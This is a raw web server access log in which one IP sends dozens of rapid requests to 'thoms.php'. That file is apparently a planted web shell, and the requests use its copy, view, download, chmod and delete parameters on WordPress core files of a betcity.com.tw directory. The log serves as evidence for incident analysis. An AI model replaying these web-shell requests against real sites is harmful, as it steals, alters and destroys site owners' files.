45.135.193.11 - - [11/Sep/2026:23:37:12 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-cookie-service.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11901 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-cookie-service.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:12 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=pluggable.php HTTP/1.1" 200 48139 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=pluggable.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:12 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=cache-compat.php HTTP/1.1" 200 14658 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=cache-compat.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:12 -0400] "GET /thoms.php?dl=feed-atom.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=feed-atom.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:12 -0400] "GET /thoms.php?chmod=class-wp-block-pattern-categories-registry.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11552 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-pattern-categories-registry.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:12 -0400] "GET /thoms.php?chmod=class-wp-customize-manager.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11540 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-manager.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:12 -0400] "GET /thoms.php?del=php-compat&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=php-compat&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:13 -0400] "GET /betcity.com.tw/wp-includes/class-wp-oembed.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:13 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-icon-collections-registry.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11901 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-icon-collections-registry.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:13 -0400] "GET /betcity.com.tw/wp-includes/default-filters.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:13 -0400] "GET /thoms.php?chmod=class-wp-recovery-mode-link-service.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11547 "http://163.245.207.76:443/thoms.php?chmod=class-wp-recovery-mode-link-service.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:13 -0400] "GET /betcity.com.tw/wp-includes/deprecated.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:13 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-theme.php HTTP/1.1" 200 30465 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-theme.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:13 -0400] "GET /thoms.php?dl=class-wp-block-type.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59424 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-type.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:13 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fhttps-migration.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11886 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fhttps-migration.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:13 -0400] "GET /thoms.php?dl=embed-template.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59424 "http://163.245.207.76:443/thoms.php?dl=embed-template.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:13 -0400] "GET /thoms.php?dl=formatting.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=formatting.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:14 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fplugin.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fplugin.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:14 -0400] "GET /thoms.php?chmod=widgets&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=widgets&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:14 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=block-template-utils.php HTTP/1.1" 200 29316 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=block-template-utils.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:14 -0400] "GET /thoms.php?del=pluggable.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=pluggable.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:14 -0400] "GET /thoms.php?chmod=functions.wp-styles.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=functions.wp-styles.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:14 -0400] "GET /betcity.com.tw/wp-includes/session.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:14 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=session.php HTTP/1.1" 200 12022 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=session.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:14 -0400] "GET /thoms.php?dl=class-wp-customize-nav-menus.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-nav-menus.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:14 -0400] "GET /betcity.com.tw/wp-includes/class-wp-http-response.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:14 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fhtml-api&p= HTTP/1.1" 200 12361 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fhtml-api&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:14 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes%2Fhtml-api HTTP/1.1" 200 15221 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes%2Fhtml-api" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:14 -0400] "GET /thoms.php?del=wp-diff.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?del=wp-diff.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:15 -0400] "GET /thoms.php?chmod=block-template.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=block-template.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:14 -0400] "GET /thoms.php?del=fonts&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?del=fonts&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:15 -0400] "GET /thoms.php?dl=block-patterns.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=block-patterns.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:15 -0400] "GET /betcity.com.tw/wp-includes/class-simplepie.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:15 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=utf8.php HTTP/1.1" 200 14791 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=utf8.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:15 -0400] "GET /thoms.php?del=class-wp-block-supports.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=class-wp-block-supports.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:15 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Ftheme.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11873 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Ftheme.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:15 -0400] "GET /betcity.com.tw/wp-includes/block-patterns.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:15 -0400] "GET /thoms.php?dl=ms-deprecated.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59274 "http://163.245.207.76:443/thoms.php?dl=ms-deprecated.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:15 -0400] "GET /thoms.php?del=assets&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59418 "http://163.245.207.76:443/thoms.php?del=assets&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:16 -0400] "GET /thoms.php?del=l10n&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59425 "http://163.245.207.76:443/thoms.php?del=l10n&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:16 -0400] "GET /thoms.php?dl=class-wp-block-parser.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-parser.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:16 -0400] "GET /thoms.php?chmod=class-wp-http-ixr-client.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11528 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-ixr-client.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:16 -0400] "GET /thoms.php?dl=class-wp-fatal-error-handler.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?dl=class-wp-fatal-error-handler.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:16 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fabilities-api.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11876 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fabilities-api.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:16 -0400] "GET /thoms.php?del=class-wp-http-ixr-client.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?del=class-wp-http-ixr-client.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:17 -0400] "GET /thoms.php?chmod=class-wp-http-cookie.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-cookie.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:16 -0400] "GET /thoms.php?dl=kses.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?dl=kses.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:17 -0400] "GET /betcity.com.tw/wp-includes/class-wp-recovery-mode-email-service.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:17 -0400] "GET /betcity.com.tw/wp-includes/fonts.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:17 -0400] "GET /thoms.php?del=class-wp-customize-control.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59415 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-control.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:17 -0400] "GET /thoms.php?chmod=class-wp-list-util.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=class-wp-list-util.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:17 -0400] "GET /thoms.php?chmod=class.wp-dependencies.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=class.wp-dependencies.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:17 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=functions.wp-styles.php HTTP/1.1" 200 14563 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=functions.wp-styles.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:17 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-http-curl.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-http-curl.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:17 -0400] "GET /thoms.php?chmod=class-wp-http.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11511 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:18 -0400] "GET /thoms.php?chmod=spl-autoload-compat.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=spl-autoload-compat.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:18 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=vars.php HTTP/1.1" 200 14166 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=vars.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:17 -0400] "GET /thoms.php?dl=abilities-api.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=abilities-api.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:17 -0400] "GET /thoms.php?dl=class-wp-list-util.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?dl=class-wp-list-util.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:18 -0400] "GET /thoms.php?chmod=block-template-utils.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=block-template-utils.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:18 -0400] "GET /thoms.php?chmod=media.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11508 "http://163.245.207.76:443/thoms.php?chmod=media.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:18 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fms-load.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11869 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fms-load.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:18 -0400] "GET /thoms.php?chmod=pomo&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11517 "http://163.245.207.76:443/thoms.php?chmod=pomo&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:18 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fstyle-engine&p= HTTP/1.1" 200 12360 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fstyle-engine&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:18 -0400] "GET /betcity.com.tw/wp-includes/block-i18n.json HTTP/1.1" 200 149 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:18 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=abilities.php HTTP/1.1" 200 14844 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=abilities.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:18 -0400] "GET /betcity.com.tw/wp-includes/class-wp-block-list.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:18 -0400] "GET /thoms.php?del=images&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=images&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:18 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-paused-extensions-storage.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-paused-extensions-storage.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:19 -0400] "GET /thoms.php?chmod=ai-client&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?chmod=ai-client&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:37:18 -0400] "GET /thoms.php?del=class-simplepie.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=class-simplepie.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
